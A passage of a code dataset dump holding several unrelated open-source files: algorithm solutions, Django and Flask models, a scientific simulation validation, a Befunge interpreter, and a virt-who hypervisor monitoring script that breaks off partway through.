alph[ord(c)-ord('a')] == 0:\n check = False\n break\n if check: sum += 1\n mx = max(sum, mx)\n return\n\n for i in range(26):\n if alph[i] == 0:\n alph[i] = 1\n backtracking(chr(i + ord('a')), cnt-1)\n alph[i] = 0\n \nif __name__ == \"__main__\":\n n, k = map(int, input().split())\n for _ in range(n):\n word.append(input()[4:-4])\n if k < 5:\n print(0)\n elif k == 26:\n print(n)\n else: \n for c in \"antic\":\n c = ord(c) - ord('a')\n if alph[c] == 0:\n alph[c] = 1\n k -= 1\n backtracking('a',k)\n print(mx)","repo_name":"jdrae/algorithm","sub_path":"by_algorithms/backtracking/가르침.py","file_name":"가르침.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5414454419","text":"# -*- coding: utf-8 -*-\nfrom django.test import TestCase\nfrom django.contrib.sites.models import Site\nfrom django.utils import timezone\nfrom portal.core.models import Selecao, TipoSelecao\nfrom model_mommy import mommy\n\n\nclass TipoSelecaoTest(TestCase):\n def setUp(self):\n self.obj = TipoSelecao(\n parent=None,\n titulo=u'Título',\n slug='titulo'\n )\n\n def test_criacao(self):\n \"\"\"\n Video deve conter parent, titulo,Slug,\n \"\"\"\n self.obj.save()\n self.assertIsNotNone(self.obj.pk)\n\n def test_unicode(self):\n \"\"\"\n Video deve apresentar o titulo como unicode\n \"\"\"\n self.assertEqual(u'Título', unicode(self.obj))\n\n\nclass SelecaoTest(TestCase):\n def setUp(self):\n self.tipo = TipoSelecao(\n parent=None,\n titulo=u'Título',\n slug='titulo'\n )\n self.tipo.save()\n\n self.obj = Selecao(\n status='AND',\n titulo=u'Título',\n tipo=self.tipo,\n url=u'Url de destino',\n data_publicacao=timezone.now(), # '2014-03-21 17:59:00',\n data_abertura_edital=timezone.now(), # '2014-03-21 17:59:00',\n data_abertura_inscricoes=timezone.now(), # '2014-03-21 17:59:00',\n data_encerramento_inscricoes=timezone.now(), # '2014-03-21 17:59:00',\n )\n\n def test_criacao(self):\n \"\"\"\n Video deve conter status,tipo, titulo,url, data de punlicação, abertura de edital, de incrições e encerramento de inscrições\n \"\"\"\n self.obj.save()\n self.assertIsNotNone(self.obj.pk)\n\n def test_unicode(self):\n \"\"\"\n Video deve apresentar o titulo como unicode\n \"\"\"\n self.assertEqual(u'Título', unicode(self.obj))\n\n\nclass MenuTest(TestCase):\n def setUp(self):\n self.site = mommy.make(Site, _quantity=1, domain='rtr.ifmt.dev')[0]\n self.menu = mommy.make(\n 'Menu',\n parent=None,\n titulo=u'TituloMenu',\n url=u'http.www.menuteste@url.com',\n ordem=1,\n site=self.site\n )\n\n def test_criacao(self):\n \"\"\"\n Menu deve conter titulo, slug e url\n \"\"\"\n self.menu.save()\n self.assertIsNotNone(self.menu.pk)\n\n def test_unicode(self):\n \"\"\"\n Menu deve apresentar o titulo como unicode\n \"\"\"\n self.assertEqual(u'TituloMenu', unicode(self.menu))\n\n\n","repo_name":"eldioschalm/novo_portal","sub_path":"portal/core/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20397036279","text":"# Obsolete\nimport sys\nfrom zope.interface import implements\nfrom zope.component import adapts\nfrom Products.CMFCore.interfaces import IFolderish\n\nif sys.version_info < (2, 6):\n # Plone 3\n from Products.CMFDynamicViewFTI.interfaces import IDynamicallyViewable\nelse:\n # Plone 4\n from Products.CMFDynamicViewFTI.interfaces import IDynamicViewTypeInformation as IDynamicallyViewable\n\n\nclass CalendarDynamicViews(object):\n \n implements(IDynamicallyViewable)\n adapts(IFolderish)\n \n\n def __init__(self, context):\n self.context = context # Actually ignored...\n \n def getAvailableViewMethods(self):\n \"\"\"Get a list of registered view method names\n \"\"\"\n return [x[0] for x in self.getAvailableLayouts()]\n\n def getDefaultViewMethod(self):\n \"\"\"Get the default view method name\n \"\"\"\n return \"month.html\"\n\n def getAvailableLayouts(self):\n \"\"\"Get the layouts registered for this object.\n \"\"\" \n return ((\"day.html\", \"Day list\"),\n (\"week.html\", \"Week list\"),\n (\"month.html\", \"Month view\"),\n (\"list.html\", \"Event list\"),\n (\"past.html\", \"Event archive\"),\n )\n","repo_name":"collective/dateable.chronos","sub_path":"dateable/chronos/browser/displays.py","file_name":"displays.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"12455435197","text":"########################################################################\n# Test the distribution of molecules under reduced volumes by vesicles\n########################################################################\n\nimport steps.interface\n\nfrom steps.model import *\nfrom steps.geom import *\nfrom steps.rng import *\nfrom steps.sim import *\nfrom steps.saving import *\n\nfrom matplotlib import pyplot as plt\nimport time\nimport os\nimport numpy as np\nfrom scipy.stats import binom\nfrom scipy.optimize import curve_fit\n\n########################################################################\n\nINT = 1000.001\nNMOLCS = 1000\nDT = 0.001\n\n########################################################################\n\nltime = time.localtime()\nresdir = f'plots/reducedvol_{ltime[0]}_{ltime[1]}_{ltime[2]}'\nif MPI.rank == 0:\n try:\n os.mkdir(resdir)\n except:\n pass\n\n########################################################################\n\n\ndef binom_func(x, P):\n rv = binom(NMOLCS, P)\n return rv.pmf(x)\n\n\ndef runtest():\n\n vesicle_vol_frac = 0.1\n vesicle_diam = 50e-9\n\n DCST_ves = 1e-12\n DCST_spec = 10e-12\n\n MESHFILE = 'sphere_10r_49tets'\n\n model = Model()\n with model:\n spec1 = Species.Create()\n ves1 = Vesicle.Create(vesicle_diam, DCST_ves)\n vsys = VolumeSystem.Create()\n with vsys:\n spec1_vdiff = Diffusion.Create(spec1, DCST_spec)\n\n mesh = TetMesh.Load(os.path.join('meshes', MESHFILE))\n mesh_vol = mesh.Vol\n with mesh:\n comp1 = Compartment.Create(mesh.tets, vsys)\n\n rng = RNG('mt19937', 512, int(time.time() % 4294967295))\n\n sim = Simulation('TetVesicle', model, mesh, rng, MPI.EF_NONE)\n\n rs = ResultSelector(sim)\n spec_count = rs.TETS().spec1.Count\n tet_volred = rs.TETS().ReducedVol\n sim.toSave(spec_count, tet_volred, dt=DT)\n\n sim.newRun()\n\n tetvolinit = sim.TETS().Vol\n\n sim.comp1.spec1.Count = NMOLCS\n\n vesicle_vol_total = mesh_vol * vesicle_vol_frac\n vesicle_n = vesicle_vol_total / ((4.0 / 3) * np.pi * np.power(\n (vesicle_diam / 2.0), 3))\n sim.comp1.ves1.Count = int(vesicle_n)\n\n mesh_vol_reduced = sum(sim.TETS().ReducedVol)\n\n sim.run(INT)\n\n tetvolmean = np.mean(tet_volred.data[0], axis=0)\n\n if MPI.rank == 0:\n plt.bar(range(len(tetvolinit)),\n tetvolinit,\n label='raw volume',\n color='black')\n plt.bar(range(len(tetvolmean)),\n tetvolmean,\n label='mean volume during simulation',\n color='red')\n plt.xlabel('Tet index')\n plt.ylabel('Volume')\n plt.legend()\n plt.savefig(\n os.path.join(resdir, f'{MESHFILE}_{NMOLCS}_{INT}_meanvolume.png'))\n plt.close()\n\n plt.bar(range(len(tetvolmean)),\n tetvolinit,\n label='raw volume',\n color='black')\n plt.bar(range(len(tetvolmean)),\n tetvolmean / tetvolinit,\n label='fractional mean volume during simulation',\n color='red')\n plt.xlabel('Tet index')\n plt.ylabel('Volume')\n plt.legend()\n plt.savefig(\n os.path.join(\n resdir,\n f'{MESHFILE}_{NMOLCS}_{INT}_meanvolume_fractional.png'))\n plt.close()\n\n maxn = max(np.array(spec_count.data).flatten())\n\n errors = []\n\n for t in range(len(mesh.tets)):\n n_range = [0, maxn]\n norm_hist = plt.hist(spec_count.data[0][:, t],\n bins=np.arange(n_range[0], n_range[1]) - 0.5,\n rwidth=0.5,\n align='mid',\n label='simulation',\n density=True,\n color='blue')\n\n avogadro = 6.022141e23\n\n v = tetvolmean[t]\n V = mesh_vol_reduced\n [n, prob] = [NMOLCS, v / V]\n\n x = np.arange(0, maxn)\n rv = binom(n, prob)\n\n popt, pcov = curve_fit(binom_func,\n np.arange(n_range[0], n_range[1])[:-1],\n norm_hist[0],\n p0=[prob])\n\n if MPI.rank == 0:\n plt.bar(x,\n rv.pmf(x),\n width=0.5,\n color='red',\n label='binomial',\n alpha=0.5)\n rv_fit = binom(n, popt[0])\n plt.plot(x,\n rv_fit.pmf(x),\n color='black',\n label='Fit to simulation')\n plt.xlim(int(n * prob * 0.1), int(n * prob * 2.0))\n plt.legend(loc='best')\n plt.xlabel('Number of molecules')\n plt.ylabel('Probability')\n plt.ylim(0, 0.14)\n fig = plt.gcf()\n fig.set_size_inches(3.4, 3.4)\n plt.savefig(os.path.join(resdir,\n f'{MESHFILE}_{NMOLCS}_{INT}_{t}.pdf'),\n dpi=300,\n bbox_inches='tight')\n plt.close()\n\n errors.append(abs(100 * prob / popt[0] - 100))\n\n if MPI.rank == 0:\n plt.hist(errors)\n plt.xlabel('Percentage error in binomial fit')\n plt.ylabel('Number of tetrahedrons')\n fig = plt.gcf()\n fig.set_size_inches(3.4, 3.4)\n plt.savefig(os.path.join(resdir,\n f'{MESHFILE}_{NMOLCS}_{INT}_error.pdf'),\n dpi=300,\n bbox_inches='tight')\n plt.close()\n\n\nbtime = time.time()\nruntest()\nif MPI.rank == 0:\n print('Took ', time.time() - btime, 'seconds')\n","repo_name":"CNS-OIST/STEPS_Validation","sub_path":"vesicles/validations/reducedvol.py","file_name":"reducedvol.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"38645719045","text":"class Book:\r\n def __init__(self,id,name,desc,isbn,pages,author,issued,year):\r\n self.id=id\r\n self.name=name\r\n self.desc=desc\r\n self.isbn=isbn\r\n self.pages=pages\r\n self.author=author\r\n self.issued=issued\r\n self.year=year\r\n \r\n \r\n\r\n def to_dict(self):\r\n dictionary={\r\n \"id\":self.id,\r\n \"name\":self.name,\r\n \"desc\":self.desc,\r\n \"isbn\":self.isbn,\r\n \"pages\":self.pages,\r\n \"author\":self.author,\r\n \"issued\":self.issued,\r\n \"year\":self.year\r\n }\r\n return dictionary\r\n","repo_name":"Cafarli/LibraryProjectPython","sub_path":"book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4326405843","text":"\nlistToDivide = []\nmodulo = []\n\nfor i in range(10):\n a = int(input())\n listToDivide.append(a)\n\nfor j in range(10):\n c = listToDivide[j] % 42\n modulo.append(c)\n\nsetModulo = set(modulo)\n\nprint(len(setModulo))\n","repo_name":"AkshdeepSharma/Classroom","sub_path":"Kattis/Modulo.py","file_name":"Modulo.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"44212375455","text":"from Snowman3.rigger.rig_factory.objects.base_objects.properties import DataProperty, ObjectProperty, ObjectDictProperty\nfrom Snowman3.rigger.rig_factory.objects.node_objects.depend_node import DependNode\nfrom Snowman3.rigger.rig_factory.objects.node_objects.keyframe import KeyFrame\n\n\n\nclass AnimationCurve(DependNode):\n\n sdk_group = ObjectProperty( name='sdk_group' )\n driver_plug = ObjectProperty( name='driver_plug' )\n driven_plug = ObjectProperty( name='driven_plug' )\n keyframes = ObjectDictProperty( name='keyframes' )\n pre_infinity_type = DataProperty( name='pre_infinity_type', default_value='linear' )\n post_infinity_type = DataProperty( name='post_infinity_type', default_value='linear' )\n suffix = 'Anmcurve'\n\n\n def create_keyframe(self, **kwargs):\n kwargs['animation_curve'] = self\n return self.create_child(\n KeyFrame,\n **kwargs\n )\n\n\n def create_in_scene(self):\n self.m_object = self.controller.scene.create_animation_curve(\n self.driven_plug.m_plug,\n name=self.name\n )\n self.controller.scene.lock_node(self, lock=True)\n\n\n def teardown(self):\n self.controller.scene.lock_node(self, lock=False)\n super(AnimationCurve, self).teardown()\n\n\n def get_value_at_index(self, index):\n return self.controller.scene.get_animation_curve_value_at_index(self.m_object, index)\n","repo_name":"samLeheny/Snowman3","sub_path":"rigger/rig_factory/objects/node_objects/animation_curve.py","file_name":"animation_curve.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39812213498","text":"from error_handler import exit_with_message\n\n\ndef add_instructions(interpreter):\n add_digits(interpreter)\n add_rotation(interpreter)\n interpreter.instructions.update({\n \"'\": lambda: fetch(interpreter),\n \"s\": lambda: store(interpreter),\n \";\": lambda: jump_over(interpreter),\n \"w\": lambda: compare(interpreter),\n \"z\": lambda: None,\n \"x\": lambda: absolute_delta(interpreter),\n \"q\": lambda: quit(interpreter.stack.pop()),\n \"r\": lambda: interpreter.pointer.revert(),\n \"n\": lambda: interpreter.stack.clear(),\n \"j\": lambda: jump_forward(interpreter),\n \"k\": lambda: iterate(interpreter),\n })\n\n\ndef add_digits(interpreter):\n interpreter.instructions.update({\n 'a': lambda: interpreter.stack.push(10),\n 'b': lambda: interpreter.stack.push(11),\n 'c': lambda: interpreter.stack.push(12),\n 'd': lambda: interpreter.stack.push(13),\n 'e': lambda: interpreter.stack.push(14),\n 'f': lambda: interpreter.stack.push(15),\n })\n\n\ndef add_rotation(interpreter):\n interpreter.instructions.update({\n '[': lambda: interpreter.pointer.rotate(direction=-1),\n ']': lambda: interpreter.pointer.rotate(),\n })\n\n\ndef fetch(interpreter):\n interpreter.pointer.move()\n instruction = interpreter.get_current_instruction()\n interpreter.stack.push(instruction)\n\n\ndef jump_over(interpreter):\n interpreter.pointer.move()\n while interpreter.get_current_instruction() != ';':\n interpreter.pointer.move()\n\n\ndef compare(interpreter):\n b = interpreter.stack.pop()\n a = interpreter.stack.pop()\n if a > b:\n interpreter.instructions[']']()\n elif a < b:\n interpreter.instructions['[']()\n else:\n interpreter.instructions['z']()\n\n\ndef absolute_delta(interpreter):\n dy = interpreter.stack.pop()\n dx = interpreter.stack.pop()\n interpreter.pointer.set_delta((dx, dy))\n\n\ndef store(interpreter):\n x, y = interpreter.pointer.get_next_dest()\n c = interpreter.stack.pop()\n interpreter.change_char_at(x, y, c)\n\n\ndef jump_forward(interpreter):\n s = interpreter.stack.pop()\n interpreter.pointer.move(s=s)\n\n\ndef iterate(interpreter):\n k = interpreter.stack.pop()\n instruction = interpreter.get_next_instruction()\n for i in range(k):\n interpreter.instructions[instruction]()\n","repo_name":"NekoRDAB/Befunge_Interpreter","sub_path":"instructions_98.py","file_name":"instructions_98.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6573392494","text":"import enum\nimport json\nfrom datetime import timezone\n\nfrom app_name.db import db\n\n\nclass BaseEnum(enum.Enum):\n \"\"\" base class for Enum classes \"\"\"\n\n @classmethod\n def list_values(cls):\n return list(map(lambda item: item.value, cls))\n\n @classmethod\n def list_names(cls):\n return list(map(lambda item: item.name, cls))\n\n @classmethod\n def serialize(cls):\n return json.dumps(dict(list(map(lambda item: (item.name, item.value), cls))))\n\n\nclass BaseModel(db.Model):\n __abstract__ = True\n __table_args__ = {\n \"mysql_engine\": \"InnoDB\"\n }\n id = db.Column(db.Integer, primary_key=True)\n created_at = db.Column(db.DateTime(timezone=True), default=db.func.now(), nullable=False)\n updated_at = db.Column(db.DateTime(timezone=True), default=db.func.now(), onupdate=db.func.now(), nullable=False)\n\n def __init__(self, **validated_data):\n \"\"\" class constructor \"\"\"\n self._provision(validated_data)\n\n def _provision(self, data):\n \"\"\" sets attributes for keys in validated_data \"\"\"\n count = 0\n for (key, value) in {**data}.items():\n if hasattr(self, key):\n count += 1\n setattr(self, key, data.pop(key))\n return count > 0\n\n @classmethod\n def create(cls, **validated_data):\n \"\"\" runs class constructor, commits to db and returns instance \"\"\"\n instance = cls(**validated_data)\n if isinstance(instance, cls):\n db.session.add(instance)\n try:\n db.session.commit()\n return instance\n except Exception as error:\n db.session.rollback()\n print(error.args)\n return None\n\n def update(self, **validated_data):\n \"\"\" updates attributes for self from keys on validated_data, commits to db and returns boolean \"\"\"\n updated = self._provision(validated_data)\n if updated:\n try:\n db.session.commit()\n return True\n except Exception as error:\n db.session.rollback()\n print(error.args)\n return False\n\n def delete(self):\n \"\"\" deletes and commits to db, returns boolean \"\"\"\n db.session.delete(self)\n try:\n db.session.commit()\n return True\n except Exception as error:\n db.session.rollback()\n print(error.args)\n return False\n\n @classmethod\n def get(cls, **kwargs):\n \"\"\" queries class for a specific criteria with unique value; expects/returns one or none \"\"\"\n # kwergs = map(lambda key, value: f\"{key}={value}\", kwargs.items())\n return cls.query.filter_by(\n **kwargs\n ).one_or_none()\n\n @classmethod\n def find(cls, **filters):\n \"\"\" queries class for named arguments as filters \"\"\"\n return cls.query.filter_by(**filters).all()\n\n @classmethod\n def all(cls):\n return cls.query.all()\n","repo_name":"ernestomedinam/e-boilerplate-flask","sub_path":"app_name/base/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36579850316","text":"\"\"\"Constant module\n\nThis module contains all common constants.\n\"\"\"\n\n# Token types\nTOKEN_PADDING = \"<__PADDING__>\"\nTOKEN_UNKNOWN = \"<__UNKNOWN__>\"\nTOKEN_DATE = \"<__DATE__>\"\nTOKEN_TIME = \"<__TIME__>\"\nTOKEN_NUMBER = \"<__NUMBER__>\"\n\nDOCSTART = \"DOCSTART\"\n\n# Data formats\nCONLL = \"CONLL\"\n\n# Data output formats\nDATA_OUT_RAW = \"raw\"\nDATA_OUT_INDEX = \"index\"\nDATA_OUT_PADDED = \"padded\"\nDATA_OUT_PADDED_RIGHT = \"padded-right\"\n\n# Data types\nDATA_TYPE_TRAIN = \"train\"\nDATA_TYPE_DEV = \"dev\"\nDATA_TYPE_TEST = \"test\"\n\n# Classifiers\nCLASSIFIER_SOFTMAX = \"softmax\"\nCLASSIFIER_CRF = \"CRF\"\n\n# Directories\nDIR_OUT = \"out\"\nDIR_PKL = \"pkl\"\nDIR_SRC = \"src\"\nDIR_DATA = \"data\"\nDIR_RUN = \"run-%03d\"\nDIR_MODEL_WEIGHTS = \"saved_model\"\nDIR_PREDICTION_OUT = \"predictions\"\nDIR_TENSOR_BOARD = \"tensor_board\"\nDIR_BATCHES_OUT = \"batches\"\n\nPREFIX_MODEL_WEIGHTS = \"model.weights\"\n\n# List length alignment strategies\nALIGNMENT_STRATEGY_RANDOM_SAMPLE = \"random\"\nALIGNMENT_STRATEGY_CROP = \"crop\"\n\n# RNN\nRNN_UNIT_TYPE_SIMPLE = \"simple\"\nRNN_UNIT_TYPE_GRU = \"GRU\"\nRNN_UNIT_TYPE_LSTM = \"LSTM\"\n\n# Activation functions\nACTIVATION_TANH = \"tanh\"\nACTIVATION_LINEAR = \"linear\"\nACTIVATION_RELU = \"relu\"\nACTIVATION_SIGMOID = \"sigmoid\"\n\n# Optimizers\nOPTIMIZER_SGD = \"SGD\"\nOPTIMIZER_ADAM = \"adam\"\nOPTIMIZER_ADAGRAD = \"adagrad\"\nOPTIMIZER_ADADELTA = \"adadelta\"\nVALID_OPTIMIZERS = [\n OPTIMIZER_SGD,\n OPTIMIZER_ADAM,\n OPTIMIZER_ADAGRAD,\n OPTIMIZER_ADADELTA,\n]\n\n# Encoding types\nENCODING_NONE = \"NONE\"\nENCODING_BIO = \"BIO\"\nENCODING_IOB = \"IOB\"\nENCODING_IOBES = \"IOBES\"\n\n# Metrics\nMETRIC_ACCURACY = \"accuracy\"\nMETRIC_F1 = \"f1\"\nMETRIC_F1_O = \"f1_o\"\nMETRIC_F1_B = \"f1_b\"\nMETRIC_PRECISION = \"precision\"\nMETRIC_PRECISION_O = \"precision_o\"\nMETRIC_PRECISION_B = \"precision_b\"\nMETRIC_RECALL = \"recall\"\nMETRIC_RECALL_O = \"recall_o\"\nMETRIC_RECALL_B = \"recall_b\"\nMETRIC_AM_COMPONENTS_05 = \"am_components_0.5\"\nMETRIC_AM_COMPONENTS_0999 = \"am_components_0.999\"\nMETRIC_AM_RELATIONS_05 = \"am_relations_0.5\"\nMETRIC_AM_RELATIONS_0999 = \"am_relations_0.999\"\nMETRIC_WORD_ACCURACY = \"word_accuracy\"\nMETRIC_AVG_EDIT_DISTANCE = \"avg_edit_distance\"\nMETRIC_MEDIAN_EDIT_DISTANCE = \"median_edit_distance\"\n\nVALID_METRICS = [\n METRIC_ACCURACY,\n METRIC_F1,\n METRIC_F1_O,\n METRIC_F1_B,\n METRIC_PRECISION,\n METRIC_PRECISION_O,\n METRIC_PRECISION_B,\n METRIC_RECALL,\n METRIC_RECALL_O,\n METRIC_RECALL_B,\n METRIC_AM_COMPONENTS_05,\n METRIC_AM_COMPONENTS_0999,\n METRIC_AM_RELATIONS_05,\n METRIC_AM_RELATIONS_0999,\n METRIC_WORD_ACCURACY,\n METRIC_AVG_EDIT_DISTANCE,\n METRIC_MEDIAN_EDIT_DISTANCE,\n]\n\n# Character level information network type\nCHAR_LSTM = \"LSTM\"\nCHAR_CNN = \"CNN\"\n\n# Task type\nTASK_TYPE_GENERIC = \"GENERIC\"\nTASK_TYPE_AM = \"AM\"\n","repo_name":"UKPLab/germeval2017-sentiment-detection","sub_path":"mtl-sequence-tagging-framework/src/shared_modules/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"38"} +{"seq_id":"3172178012","text":"import numpy as np\r\nimport pandas as pd\r\nfrom pandas import Series, DataFrame\r\n\r\nser1 = Series([2,np.nan,4,np.nan,6,np.nan],\r\n index=['Q','R','S','T','U','V'])\r\n\r\n#note that dont use list in series if using np,arrange\r\nser2 = Series(np.arange(len(ser1)),index=['Q','R','S','T','U','V'],dtype=np.float64)\r\nser2\r\n# Now let's get a series where the value of ser1 is chosen\r\n# if ser2 is NAN,otherwise let the value be ser1\r\nSeries(np.where(pd.isnull(ser1),ser2,ser1),index=ser2.index)#where(condition,yield X,yield Y)\r\nindexes = ser1.index #ser1.index is a attribute of class Series which returns the index name\r\nindexes\r\n\r\n#Now we can do the same thing simply by using combine_first with pandas\r\nser1.combine_first(ser2)\r\n#This combines the Series values, choosing the values of the calling Series first, unless its a NAN\r\n\r\n#on Data Frame\r\ndframe_odds = DataFrame({'X': [1., np.nan, 3., np.nan],\r\n 'Y': [np.nan, 5., np.nan, 7.],\r\n 'Z': [np.nan, 9., np.nan, 11.]})\r\ndframe_evens = DataFrame({'X': [2., 4., np.nan, 6., 8.],\r\n 'Y': [np.nan, 10., 12., 14., 16.]})\r\n\r\n#Now lets combine using odds values first, unless theres a NAN, then put the evens values\r\ndframe_odds.combine_first(dframe_evens)\r\n","repo_name":"Ratnakarmaurya/Data-Analytics-and-visualization","sub_path":"working with data 02/04_Combining Dataframe.py","file_name":"04_Combining Dataframe.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20108565968","text":"class Solution(object):\n def combinationSum2(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n if not candidates:\n return []\n ans = []\n n = len(candidates)\n candidates.sort()\n self.helper(0, n, target, candidates, [], ans)\n return ans\n \n def helper(self, start, n, target, candidates, temp, ans):\n if target < 0:\n return\n if target == 0 and temp not in ans:\n ans.append(temp)\n return\n for i in range(start, n):\n self.helper(i+1, n, target-candidates[i], candidates, temp+[candidates[i]], ans)","repo_name":"NobodyWHU/Leetcode","sub_path":"40-Combination-Sum-II/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"42164430100","text":"import os\nimport re\nimport argparse\nimport sys\n\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.append(os.path.split(rootPath)[0])\n\nfrom virtwho import logger\nfrom virtwho.settings import config\nfrom virtwho.ssh import SSHConnect\nfrom virtwho.base import hostname_get, host_ping, ssh_connect\nfrom virtwho.base import rhel_host_uuid_get\nfrom utils.properties_update import virtwho_ini_update\nfrom hypervisor.virt.libvirt.libvirtcli import LibvirtCLI\nfrom hypervisor.virt.esx.powercli import PowerCLI\nfrom hypervisor.virt.hyperv.hypervcli import HypervCLI\nfrom hypervisor.virt.kubevirt.kubevirtapi import KubevirtApi\nfrom hypervisor.virt.ahv.ahvapi import AHVApi\n\nstate_good = \"GOOD\"\nstate_update = \"UPDATED\"\nstate_server_bad = \"BAD (Server Broke)\"\nstate_guest_bad = \"BAD (Guest Broke)\"\nserver_broke = \"Broke\"\nguest_none = \"None\"\nguest_down = \"Down\"\n\n\ndef esx_monitor():\n \"\"\"\n Check the vCenter state, including the vCenter server testing, the\n ESXi host testing and the rhel guest state testing. At last it will\n update the test result to the virtwho.ini file.\n \"\"\"\n esx_state = state_good\n esx_data = {}\n server = config.esx.server\n client_server = config.esx.ssh_ip\n esx_ip = config.esx.esx_ip\n guest_ip = config.esx.guest_ip\n guest_name = config.esx.guest_name\n esx = PowerCLI(\n server=server,\n admin_user=config.esx.username,\n admin_passwd=config.esx.password,\n client_server=client_server,\n client_user=config.esx.ssh_username,\n client_passwd=config.esx.ssh_password,\n )\n ssh_esx = SSHConnect(\n host=esx_ip,\n user=config.esx.esx_username,\n pwd=config.esx.esx_password,\n )\n try:\n logger.info(f\">>>vCenter: Check if the vCenter server is running well.\")\n ret1 = host_ping(host=server)\n if not ret1:\n esx_state, server = (state_server_bad, server_broke)\n logger.error(f\"The vCenter Server has broken, please repaire it.\")\n\n logger.info(f\">>>vCenter: Check if the esxi host is running well.\")\n ret2 = host_ping(host=esx_ip)\n if not ret2:\n esx_ip = \"Broke\"\n logger.error(f\"The esxi host has broken, please repaire it.\")\n\n logger.info(f\">>>vCenter: Check if the windows client is running well.\")\n ret3 = host_ping(host=client_server)\n if not ret3:\n client_server = \"Broke\"\n logger.error(f\"The windows Client has broken, please repaire it.\")\n\n if ret1 and ret2 and ret3:\n logger.info(f\">>>vCenter: Get the Hypervisor data.\")\n esx_data = esx.guest_search(guest_name, uuid_info=True)\n esx_data[\"esx_hostname\"] = hostname_get(ssh_esx)\n logger.info(f\"=== vCenter Data:\\n{esx_data}\\n===\")\n\n logger.info(f\">>>vCenter: Check if the rhel guest is running.\")\n if not esx_data[\"guest_name\"]:\n esx_state, guest_ip = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the rhel guest({guest_name}), \"\n f\"please install one.\"\n )\n else:\n if esx_data[\"guest_state\"] == 1 and host_ping(\n host=esx_data[\"guest_ip\"]\n ):\n logger.info(f\"The rhel guest({guest_name}) is running well.\")\n ssh_guest = SSHConnect(\n host=esx_data[\"guest_ip\"],\n user=config.esx.guest_username,\n pwd=config.esx.guest_password,\n )\n esx_data[\"guest_uuid\"] = rhel_host_uuid_get(ssh_guest)\n else:\n esx_state, guest_ip = (state_guest_bad, guest_down)\n logger.error(\n f\"The rhel guest({guest_name}) is down, please repair it.\"\n )\n\n finally:\n logger.info(f\">>>vCenter: Update the data of virtwho.ini.\")\n esx_dict = {\n \"server\": server,\n \"esx_ip\": esx_ip,\n \"ssh_ip\": client_server,\n \"guest_ip\": guest_ip,\n }\n if esx_data:\n compare_dict = {\n \"esx_ip\": [config.esx.esx_ip, esx_data[\"esx_ip\"]],\n \"esx_uuid\": [config.esx.esx_uuid, esx_data[\"esx_uuid\"]],\n \"esx_hwuuid\": [config.esx.esx_hwuuid, esx_data[\"esx_hwuuid\"]],\n \"esx_hostname\": [config.esx.esx_hostname, esx_data[\"esx_hostname\"]],\n \"esx_version\": [config.esx.esx_version, esx_data[\"esx_version\"]],\n \"esx_cpu\": [config.esx.esx_cpu, esx_data[\"esx_cpu\"]],\n \"esx_cluster\": [config.esx.esx_cluster, esx_data[\"esx_cluster\"]],\n \"guest_ip\": [config.esx.guest_ip, esx_data[\"guest_ip\"]],\n \"guest_uuid\": [config.esx.guest_uuid, esx_data[\"guest_uuid\"]],\n }\n for key, value in compare_dict.items():\n if value[0] != value[1]:\n logger.info(f\"The vCenter:({key}) changed.\")\n esx_dict[key] = f\"{value[1]} (Updated)\"\n esx_state = state_update\n else:\n esx_state = state_server_bad\n\n logger.info(f\">>>vCenter: the test result is ({esx_state})\")\n virtwho_ini_update(\"esx\", \"state\", esx_state)\n for option, value in esx_dict.items():\n virtwho_ini_update(\"esx\", option, value)\n return esx_state\n\n\ndef hyperv_monitor():\n \"\"\"\n Check the Hyperv state, including the Hyperv server testing and the\n the rhel guest state testing. At last it will update the test result\n to the virtwho.ini file.\n \"\"\"\n hyperv_state = state_good\n hyperv_data = {}\n server = config.hyperv.server\n guest_ip = config.hyperv.guest_ip\n guest_name = config.hyperv.guest_name\n hyperv = HypervCLI(\n server=server, ssh_user=config.hyperv.username, ssh_pwd=config.hyperv.password\n )\n try:\n logger.info(f\">>>Hyperv: Check if the hypervisor is running.\")\n if not host_ping(host=server):\n hyperv_state, server, guest_ip = (\n state_server_bad,\n server_broke,\n guest_none,\n )\n logger.error(f\"The hyperv host has broken, please repaire it.\")\n\n else:\n logger.info(f\">>>Hyperv: Get the hypervisor data.\")\n hyperv_data = hyperv.guest_search(guest_name)\n uuid = hyperv_data[\"hyperv_uuid\"]\n hyperv_data[\"hyperv_uuid\"] = (\n uuid[6:8]\n + uuid[4:6]\n + uuid[2:4]\n + uuid[0:2]\n + \"-\"\n + 